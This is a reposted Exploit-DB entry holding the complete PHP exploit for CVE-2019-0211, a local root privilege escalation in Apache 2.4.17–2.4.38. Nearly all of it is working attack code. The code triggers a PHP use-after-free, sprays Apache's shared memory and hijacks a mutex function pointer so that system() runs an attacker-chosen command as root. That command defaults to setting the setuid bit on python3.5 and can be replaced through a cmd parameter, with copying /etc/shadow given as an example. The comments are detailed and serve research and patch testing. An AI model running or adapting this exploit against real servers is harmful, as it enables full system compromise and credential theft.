Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation

  • 作者: cfreal
    日期: 2019-04-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46676/
  • <?php
    # CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
    # Charles Fol
    # @cfreal_
    # 2019-04-08
    #
    # INFOS
    #
    # https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
    #
    # USAGE
    #
    # 1. Upload exploit to Apache HTTP server
    # 2. Send request to page
    # 3. Await 6:25AM for logrotate to restart Apache
    # 4. python3.5 is now suid 0
    #
    # You can change the command that is ran as root using the cmd HTTP
    # parameter (GET/POST).
    # Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
    #
    # SUCCESS RATE
    #
    # Number of successful and failed exploitations relative to of the number
    # of MPM workers (i.e. Apache subprocesses). YMMV.
    #
    # W--% S F
    #5 87% 177 26 (default)
    #8 89%608
    # 10 95%704
    #
    # More workers, higher success rate.
    # By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
    # Generally, failure is due to all_buckets being relocated too far from its
    # original address.
    #
    # TESTED ON
    #
    # - Apache/2.4.25
    # - PHP 7.2.12
    # - Debian GNU/Linux 9.6
    #
    # TESTING
    #
    # $ curl http://localhost/cfreal-carpediem.php
    # $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
    # $ ls -alh /usr/bin/python3.5
    # -rwsr-sr-x 2 root root 4.6M Sep 272018 /usr/bin/python3.5
    #
    # There are no hardcoded addresses.
    # - Addresses read through /proc/self/mem
    # - Offsets read through ELF parsing
    #
    # As usual, there are tons of comments.
    #
    
    
    o('CARPE (DIEM) ~ CVE-2019-0211');
    o('');
    
    error_reporting(E_ALL);
    
    
    # Starts the exploit by triggering the UAF.
    function real()
    {
    	global $y;
    	$y = [new Z()];
    	json_encode([0 => &$y]);
    }
    
    # In order to read/write what comes after in memory, we need to UAF a string so
    # that we can control its size and make in-place edition.
    # An easy way to do that is to replace the string by a timelib_rel_time
    # structure of which the first bytes can be reached by the (y, m, d, h, i, s)
    # properties of the DateInterval object.
    #
    # Steps:
    # - Create a base object (Z)
    # - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
    # - Create DateInterval object ($place) meant to be unset and filled by another
    # - Trigger the UAF by unsetting $y[0], which is still reachable using $this
    # - Unset $place: at this point, if we create a new DateInterval object, it will
    # replace $place in memory
    # - Create a string ($holder) that fills $place's timelib_rel_time structure
    # - Allocate a new DateInterval object: its timelib_rel_time structure will
    # end up in place of abc
    # - Now we can control $this->abc's zend_string structure entirely using
    # y, m, d etc.
    # - Increase abc's size so that we can read/write memory that comes after it,
    # especially the shared memory block
    # - Find out all_buckets' position by finding a memory region that matches the
    # mutex->meth structure
    # - Compute the bucket index required to reach the SHM and get an arbitrary
    # function call
    # - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
    # bucket
    class Z implements JsonSerializable
    {
    	public function jsonSerialize()
    	{
    		global $y, $addresses, $workers_pids;
    
    		#
    		# Setup memory
    		#
    o('Triggering UAF');
    		o('Creating room and filling empty spaces');
    
    		# Fill empty blocks to make sure our allocations will be contiguous
    		# I: Since a lot of allocations/deallocations happen before the script
    		# is ran, two variables instanciated at the same time might not be
    		# contiguous: this can be a problem for a lot of reasons.
    		# To avoid this, we instanciate several DateInterval objects. These
    		# objects will fill a lot of potentially non-contiguous memory blocks,
    		# ensuring we get "fresh memory" in upcoming allocations.
    		$contiguous = [];
    		for($i=0;$i<10;$i++)
    			$contiguous[] = new DateInterval('PT1S');
    
    		# Create some space for our UAF blocks not to get overwritten
    		# I: A PHP object is a combination of a lot of structures, such as
    		# zval, zend_object, zend_object_handlers, zend_string, etc., which are
    		# all allocated, and freed when the object is destroyed.
    		# After the UAF is triggered on the object, all the structures that are
    		# used to represent it will be marked as free.
    		# If we create other variables afterwards, those variables might be
    		# allocated in the object's previous memory regions, which might pose
    		# problems for the rest of the exploitation.
    		# To avoid this, we allocate a lot of objects before the UAF, and free
    		# them afterwards. Since PHP's heap is LIFO, when we create other vars,
    		# they will take the place of those objects instead of the object we
    		# are triggering the UAF on. This means our object is "shielded" and
    		# we don't have to worry about breaking it.
    		$room = [];
    		for($i=0;$i<10;$i++)
    			$room[] = new Z();
    
    		# Build string meant to fill old DateInterval's timelib_rel_time
    		# I: ptr2str's name is unintuitive here: we just want to allocate a
    		# zend_string of size 78.
    		$_protector = ptr2str(0, 78);
    
    		o('Allocating $abc and $p');
    
    		# Create ABC
    		# I: This is the variable we will use to R/W memory afterwards.
    		# After we free the Z object, we'll make sure abc is overwritten by a
    		# timelib_rel_time structure under our control. The first 8*8 = 64 bytes
    		# of this structure can be modified easily, meaning we can change the
    		# size of abc. This will allow us to read/write memory after abc.
    		$this->abc = ptr2str(0, 79);
    
    		# Create $p meant to protect $this's blocks
    		# I: Right after we trigger the UAF, we will unset $p.
    		# This means that the timelib_rel_time structure (TRT) of this object
    		# will be freed. We will then allocate a string ($protector) of the same
    		# size as TRT. Since PHP's heap is LIFO, the string will take the place
    		# of the now-freed TRT in memory.
    		# Then, we create a new DateInterval object ($x). From the same
    		# assumption, every structure constituting this new object will take the
    		# place of the previous structure. Nevertheless, since TRT's memory
    		# block has already been replaced by $protector, the new TRT will be put
    		# in the next free blocks of the same size, which happens to be $abc
    		# (remember, |abc| == |timelib_rel_time|).
    		# We now have the following situation: $x is a DateInterval object whose
    		# internal TRT structure has the same address as $abc's zend_string.
    		$p = new DateInterval('PT1S');
    
    		#
    		# Trigger UAF
    		#
    		
    		o('Unsetting both variables and setting $protector');
    		# UAF here, $this is usable despite being freed
    		unset($y[0]);
    		# Protect $this's freed blocks
    		unset($p);
    
    		# Protect $p's timelib_rel_time structure
    		$protector = ".$_protector";
    		# !!! This is only required for apache
    		# Got no idea as to why there is an extra deallocation (?)
    		$room[] = "!$_protector";
    
    		o('Creating DateInterval object');
    		# After this line:
    		# &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
    		# We can control the structure of $this->abc and therefore read/write
    		# anything that comes after it in memory by changing its size and
    		# making in-place edits using $this->abc[$position] = $char
    		$x = new DateInterval('PT1S');
    		# zend_string.refcount = 0
    		# It will get incremented at some point, and if it is > 1,
    		# zend_assign_to_string_offset() will try to duplicate it before making
    		# the in-place replacement
    		$x->y = 0x00;
    		# zend_string.len
    		$x->d = 0x100;
    		# zend_string.val[0-4]
    		$x->h = 0x13121110;
    
    		# Verify UAF was successful
    		# We modified stuff via $x; they should be visible by $this->abc, since
    		# they are at the same memory location.
    		if(!(
    			strlen($this->abc) === $x->d &&
    			$this->abc[0] == "\x10" &&
    			$this->abc[1] == "\x11" &&
    			$this->abc[2] == "\x12" &&
    			$this->abc[3] == "\x13"
    		))
    		{
    			o('UAF failed, exiting.');
    			exit();
    		}
    		o('UAF successful.');
    		o('');
    
    		# Give us some room
    		# I: As indicated before, just unset a lot of stuff so that next allocs
    		# don't break our fragile UAFd structure.
    		unset($room);
    
    		#
    		# Setup the R/W primitive
    		#
    
    		# We control $abc's internal zend_string structure, therefore we can R/W
    		# the shared memory block (SHM), but for that we need to know the
    		# position of $abc in memory
    		# I: We know the absolute position of the SHM, so we need to need abc's
    		# as well, otherwise we cannot compute the offset
    
    		# Assuming the allocation was contiguous, memory looks like this, with
    		# 0x70-sized fastbins:
    		# 	[zend_string:abc]
    		# 	[zend_string:protector]
    		# 	[FREE#1]
    		# 	[FREE#2]
    		# Therefore, the address of the 2nd free block is in the first 8 bytes
    		# of the first block: 0x70 * 2 - 24
    		$address = str2ptr($this->abc, 0x70 * 2 - 24);
    		# The address we got points to FREE#2, hence we're |block| * 3 higher in
    		# memory
    		$address = $address - 0x70 * 3;
    		# The beginning of the string is 24 bytes after its origin
    		$address = $address + 24;
    		o('Address of $abc: 0x' . dechex($address));
    		o('');
    
    		# Compute the size required for our string to include the whole SHM and
    		# apache's memory region
    		$distance = 
    			max($addresses['apache'][1], $addresses['shm'][1]) -
    			$address
    		;
    		$x->d = $distance;
    
    		# We can now read/write in the whole SHM and apache's memory region.
    
    		#
    		# Find all_buckets in memory
    		#
    
    		# We are looking for a structure s.t.
    		# |all_buckets, mutex| = 0x10
    		# |mutex, meth| = 0x8
    		# all_buckets is in apache's memory region
    		# mutex is in apache's memory region
    		# meth is in libaprR's memory region
    		# meth's function pointers are in libaprX's memory region
    		o('Looking for all_buckets in memory');
    		$all_buckets = 0;
    
    		for(
    			$i = $addresses['apache'][0] + 0x10;
    			$i < $addresses['apache'][1] - 0x08;
    			$i += 8
    		)
    		{
    			# mutex
    			$mutex = $pointer = str2ptr($this->abc, $i - $address);
    			if(!in($pointer, $addresses['apache']))
    				continue;
    
    
    			# meth
    			$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
    			if(!in($pointer, $addresses['libaprR']))
    				continue;
    
    			o('[&mutex]: 0x' . dechex($i));
    			o('[mutex]: 0x' . dechex($mutex));
    			o('[meth]: 0x' . dechex($meth));
    
    
    			# meth->*
    			# flags
    			if(str2ptr($this->abc, $pointer - $address) != 0)
    				continue;
    			# methods
    			for($j=0;$j<7;$j++)
    			{
    				$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
    				if(!in($m, $addresses['libaprX']))
    					continue 2;
    				o('[*]: 0x' . dechex($m));
    			}
    
    			$all_buckets = $i - 0x10;
    			o('all_buckets = 0x' . dechex($all_buckets));
    			break;
    		}
    
    		if(!$all_buckets)
    		{
    			o('Unable to find all_buckets');
    			exit();
    		}
    
    		o('');
    
    		# The address of all_buckets will change when apache is gracefully
    		# restarted. This is a problem because we need to know all_buckets's
    		# address in order to make all_buckets[some_index] point to a memory
    		# region we control.
    
    		#
    		# Compute potential bucket indexes and their addresses
    		#
    
    o('Computing potential bucket indexes and addresses');
    
    		# Since we have sizeof($workers_pid) MPM workers, we can fill the rest
    		# of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
    		# with data we like. We keep the one at the top to store our payload.
    		# The rest is sprayed with the address of our payload.
    
    		$size_prefork_child_bucket = 24;
    		$size_worker_score = 264;
    		# I get strange errors if I use every "free" item, so I leave twice as
    		# many items free. I'm guessing upon startup some
    		$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
    		$spray_max = $addresses['shm'][1];
    		$spray_min = $spray_max - $spray_size;
    
    		$spray_middle = (int) (($spray_min + $spray_max) / 2);
    		$bucket_index_middle = (int) (
    			- ($all_buckets - $spray_middle) /
    			$size_prefork_child_bucket
    		);
    
    		#
    		# Build payload
    		#
    
    		# A worker_score structure was kept empty to put our payload in
    		$payload_start = $spray_min - $size_worker_score;
    
    		$z = ptr2str(0);
    
    	# Payload maxsize 264 - 112 = 152
    		# Offset 8 cannot be 0, but other than this you can type whatever
    		# command you want
    	$bucket = isset($_REQUEST['cmd']) ?
    		$_REQUEST['cmd'] :
    		"chmod +s /usr/bin/python3.5";
    
    	if(strlen($bucket) > $size_worker_score - 112)
    		{
    			o(
    				'Payload size is bigger than available space (' .
    				($size_worker_score - 112) .
    				'), exiting.'
    			);
    			exit();
    		}
    	# Align
    	$bucket = str_pad($bucket, $size_worker_score - 112, "\x00");
    
    	# apr_proc_mutex_unix_lock_methods_t
    		$meth = 
    		$z .
    		$z .
    		$z .
    		$z .
    		$z .
    		$z .
    			# child_init
    		ptr2str($addresses['zend_object_std_dtor'])
    		;
    
    		# The second pointer points to meth, and is used before reaching the
    		# arbitrary function call
    		# The third one and the last one are both used by the function call
    		# zend_object_std_dtor(object) => ... => system(&arData[0]->val)
    		$properties = 
    			# refcount
    			ptr2str(1) .
    			# u-nTableMask meth
    			ptr2str($payload_start + strlen($bucket)) .
    			# Bucket arData
    			ptr2str($payload_start) .
    			# uint32_t nNumUsed;
    			ptr2str(1, 4) .
    		# uint32_t nNumOfElements;
    			ptr2str(0, 4) .
    			# uint32_t nTableSize
    			ptr2str(0, 4) .
    			# uint32_t nInternalPointer
    			ptr2str(0, 4) .
    			# zend_long nNextFreeElement
    			$z .
    			# dtor_func_t pDestructor
    			ptr2str($addresses['system'])
    		;
    
    		$payload =
    			$bucket .
    			$meth .
    			$properties
    		;
    
    		# Write the payload
    
    		o('Placing payload at address 0x' . dechex($payload_start));
    
    		$p = $payload_start - $address;
    		for(
    			$i = 0;
    			$i < strlen($payload);
    			$i++
    		)
    		{
    			$this->abc[$p+$i] = $payload[$i];
    		}
    
    		# Fill the spray area with a pointer to properties
    		
    		$properties_address = $payload_start + strlen($bucket) + strlen($meth);
    		o('Spraying pointer');
    		o('Address: 0x' . dechex($properties_address));
    		o('From: 0x' . dechex($spray_min));
    		o('To: 0x' . dechex($spray_max));
    		o('Size: 0x' . dechex($spray_size));
    		o('Covered: 0x' . dechex($spray_size * count($workers_pids)));
    		o('Apache: 0x' . dechex(
    			$addresses['apache'][1] -
    			$addresses['apache'][0]
    		));
    
    		$s_properties_address = ptr2str($properties_address);
    
    		for(
    			$i = $spray_min;
    			$i < $spray_max;
    			$i++
    		)
    		{
    			$this->abc[$i - $address] = $s_properties_address[$i % 8];
    		}
    		o('');
    
    		# Find workers PID in the SHM: it indicates the beginning of their
    		# process_score structure. We can then change process_score.bucket to
    		# the index we computed. When apache reboots, it will use
    		# all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
    		# which means we control the whole apr_proc_mutex_t structure.
    		# This structure contains pointers to multiple functions, especially
    		# mutex->meth->child_init(), which will be called before privileges
    		# are dropped.
    		# We do this for every worker PID, incrementing the bucket index so that
    		# we cover a bigger range.
    		
    		o('Iterating in SHM to find PIDs...');
    
    		# Number of bucket indexes covered by our spray
    		$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
    		# Number of bucket indexes covered by our spray and the PS structures
    		$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
    		# First bucket index to handle
    		$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
    
    		# Iterate over every process_score structure until we find every PID or
    		# we reach the end of the SHM
    		for(
    			$p = $addresses['shm'][0] + 0x20;
    			$p < $addresses['shm'][1] && count($workers_pids) > 0;
    			$p += 0x24
    		)
    		{
    			$l = $p - $address;
    			$current_pid = str2ptr($this->abc, $l, 4);
    			o('Got PID: ' . $current_pid);
    			# The PID matches one of the workers
    			if(in_array($current_pid, $workers_pids))
    			{
    				unset($workers_pids[$current_pid]);
    				o('PID matches');
    				# Update bucket address
    				$s_bucket_index = pack('l', $bucket_index);
    				$this->abc[$l + 0x20] = $s_bucket_index[0];
    				$this->abc[$l + 0x21] = $s_bucket_index[1];
    				$this->abc[$l + 0x22] = $s_bucket_index[2];
    				$this->abc[$l + 0x23] = $s_bucket_index[3];
    				o('Changed bucket value to ' . $bucket_index);
    				$min = $spray_min - $size_prefork_child_bucket * $bucket_index;
    				$max = $spray_max - $size_prefork_child_bucket * $bucket_index;
    				o('Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
    				# This bucket range is covered, go to the next one
    				$bucket_index += $spray_nb_buckets;
    			}
    		}
    
    		if(count($workers_pids) > 0)
    		{
    			o(
    				'Unable to find PIDs ' .
    				implode(', ', $workers_pids) .
    				' in SHM, exiting.'
    			);
    			exit();
    		}
    
    		o('');
    		o('EXPLOIT SUCCESSFUL.');
    		o('Await 6:25AM.');
    		
    		return 0;
    	}
    }
    
    function o($msg)
    {
    	# No concatenation -> no string allocation
    	print($msg);
    	print("\n");
    }
    
    function ptr2str($ptr, $m=8)
    {
    	$out = "";
    for ($i=0; $i<$m; $i++)
    {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
    }
    return $out;
    }
    
    function str2ptr(&$str, $p, $s=8)
    {
    	$address = 0;
    	for($j=$s-1;$j>=0;$j--)
    	{
    		$address <<= 8;
    		$address |= ord($str[$p+$j]);
    	}
    	return $address;
    }
    
    function in($i, $range)
    {
    	return $i >= $range[0] && $i < $range[1];
    }
    
    /**
     * Finds the offset of a symbol in a file.
     */
    function find_symbol($file, $symbol)
    {
    $elf = file_get_contents($file);
    $e_shoff = str2ptr($elf, 0x28);
    $e_shentsize = str2ptr($elf, 0x3a, 2);
    $e_shnum = str2ptr($elf, 0x3c, 2);
    
    $dynsym_off = 0;
    $dynsym_sz = 0;
    $dynstr_off = 0;
    
    for($i=0;$i<$e_shnum;$i++)
    {
    $offset = $e_shoff + $i * $e_shentsize;
    $sh_type = str2ptr($elf, $offset + 0x04, 4);
    
    $SHT_DYNSYM = 11;
    $SHT_SYMTAB = 2;
    $SHT_STRTAB = 3;
    
    switch($sh_type)
    {
    case $SHT_DYNSYM:
    $dynsym_off = str2ptr($elf, $offset + 0x18, 8);
    $dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
    break;
    case $SHT_STRTAB:
    case $SHT_SYMTAB:
    if(!$dynstr_off)
    $dynstr_off = str2ptr($elf, $offset + 0x18, 8);
    break;
    }
    
    }
    
    if(!($dynsym_off && $dynsym_sz && $dynstr_off))
    exit('.');
    
    $sizeof_Elf64_Sym = 0x18;
    
    for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
    {
    $offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
    $st_name = str2ptr($elf, $offset, 4);
    
    if(!$st_name)
    continue;
    
    $offset_string = $dynstr_off + $st_name;
    $end = strpos($elf, "\x00", $offset_string) - $offset_string;
    $string = substr($elf, $offset_string, $end);
    
    if($string == $symbol)
    {
    $st_value = str2ptr($elf, $offset + 0x8, 8);
    return $st_value;
    }
    }
    
    die('Unable to find symbol ' . $symbol);
    }
    
    # Obtains the addresses of the shared memory block and some functions through 
    # /proc/self/maps
    # This is hacky as hell.
    function get_all_addresses()
    {
    	$addresses = [];
    	$data = file_get_contents('/proc/self/maps');
    	$follows_shm = false;
    
    	foreach(explode("\n", $data) as $line)
    	{
    		if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
    		{
    $line = explode(' ', $line)[0];
    $bounds = array_map('hexdec', explode('-', $line));
    if ($bounds[1] - $bounds[0] == 0x14000)
    {
    $addresses['shm'] = $bounds;
    $follows_shm = true;
    }
    }
    		if(
    			preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) &&
    			strpos($line, 'r-xp')
    		)
    		{
    			$offset = find_symbol($matches[1], 'system');
    			$line = explode(' ', $line)[0];
    			$line = hexdec(explode('-', $line)[0]);
    			$addresses['system'] = $line + $offset;
    		}
    		if(
    			strpos($line, 'libapr-1.so') &&
    			strpos($line, 'r-xp')
    		)
    		{
    			$line = explode(' ', $line)[0];
    			$bounds = array_map('hexdec', explode('-', $line));
    			$addresses['libaprX'] = $bounds;
    		}
    		if(
    			strpos($line, 'libapr-1.so') &&
    			strpos($line, 'r--p')
    		)
    		{
    			$line = explode(' ', $line)[0];
    			$bounds = array_map('hexdec', explode('-', $line));
    			$addresses['libaprR'] = $bounds;
    		}
    		# Apache's memory block is between the SHM and ld.so
    		# Sometimes some rwx region gets mapped; all_buckets cannot be in there
    		# but we include it anyways for the sake of simplicity
    		if(
    			(
    				strpos($line, 'rw-p') ||
    				strpos($line, 'rwxp')
    			) &&
    $follows_shm
    		)
    		{
    if(strpos($line, '/lib'))
    {
    $follows_shm = false;
    continue;
    }
    			$line = explode(' ', $line)[0];
    			$bounds = array_map('hexdec', explode('-', $line));
    			if(!array_key_exists('apache', $addresses))
    			$addresses['apache'] = $bounds;
    			else if($addresses['apache'][1] == $bounds[0])
    $addresses['apache'][1] = $bounds[1];
    			else
    $follows_shm = false;
    		}
    		if(
    			preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) &&
    			strpos($line, 'r-xp')
    		)
    		{
    			$offset = find_symbol($matches[1], 'zend_object_std_dtor');
    			$line = explode(' ', $line)[0];
    			$line = hexdec(explode('-', $line)[0]);
    			$addresses['zend_object_std_dtor'] = $line + $offset;
    		}
    	}
    
    	$expected = [
    		'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
    	];
    	$missing = array_diff($expected, array_keys($addresses));
    
    	if($missing)
    	{
    		o(
    			'The following addresses were not determined by parsing ' .
    			'/proc/self/maps: ' . implode(', ', $missing)
    		);
    		exit(0);
    	}
    
    
    	o('PID: ' . getmypid());
    	o('Fetching addresses');
    
    	foreach($addresses as $k => $a)
    	{
    		if(!is_array($a))
    			$a = [$a];
    		o('' . $k . ': ' . implode('-0x', array_map(function($z) {
    				return '0x' . dechex($z);
    		}, $a)));
    	}
    	o('');
    
    	return $addresses;
    }
    
    # Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
    # matching the cmdline and the UID
    function get_workers_pids()
    {
    	o('Obtaining apache workers PIDs');
    	$pids = [];
    	$cmd = file_get_contents('/proc/self/cmdline');
    	$processes = glob('/proc/*');
    	foreach($processes as $process)
    	{
    		if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
    			continue;
    		$pid = (int) $match[1];
    		if(
    			!is_readable($process . '/cmdline') ||
    			!is_readable($process . '/status')
    		)
    			continue;
    		if($cmd !== file_get_contents($process . '/cmdline'))
    			continue;
    
    		$status = file_get_contents($process . '/status');
    		foreach(explode("\n", $status) as $line)
    		{
    			if(
    				strpos($line, 'Uid:') === 0 &&
    				preg_match('#\b' . posix_getuid() . '\b#', $line)
    			)
    			{
    				o('Found apache worker: ' . $pid);
    				$pids[$pid] = $pid;
    				break;
    			}
    
    		}
    	}
    	
    	o('Got ' . sizeof($pids) . ' PIDs.');
    	o('');
    
    	return $pids;
    }
    
    $addresses = get_all_addresses();
    $workers_pids = get_workers_pids();
    real();